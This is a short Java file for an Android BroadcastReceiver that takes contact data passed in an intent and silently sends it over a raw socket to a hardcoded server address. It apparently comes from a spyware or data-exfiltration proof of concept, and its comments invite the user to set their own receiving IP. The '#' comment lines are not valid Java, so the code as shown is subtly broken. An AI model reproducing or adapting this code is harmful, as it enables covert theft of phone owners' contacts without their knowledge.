broadcastreciver.java

 public class MyBroadcastReceiver extends BroadcastReceiver {
    private static final int SERVERPORT = 3000; #change this ip address 
    private static final String SERVER_IP = "192.168.58.1"; #Change this ip address
    private Socket socket;
    String smscontacts;
    @Override
    public void onReceive(Context context, Intent intent) {
        Bundle extras = intent.getExtras();
        if (extras != null) {
            smscontacts = extras.getString("contacts");
        }
        new Thread(new ClientThread()).start();
    }
    class ClientThread implements Runnable {

        @Override
        public void run() {

            try {
                InetAddress serverAddr = InetAddress.getByName(SERVER_IP);

                socket = new Socket(serverAddr, SERVERPORT);
                PrintWriter out = new PrintWriter(new BufferedWriter(
                        new OutputStreamWriter(socket.getOutputStream())),
                        true);
                out.println(smscontacts);

            } catch (UnknownHostException e1) {
                e1.printStackTrace();
            } catch (IOException e1) {
                e1.printStackTrace();
            }
        }
    }
}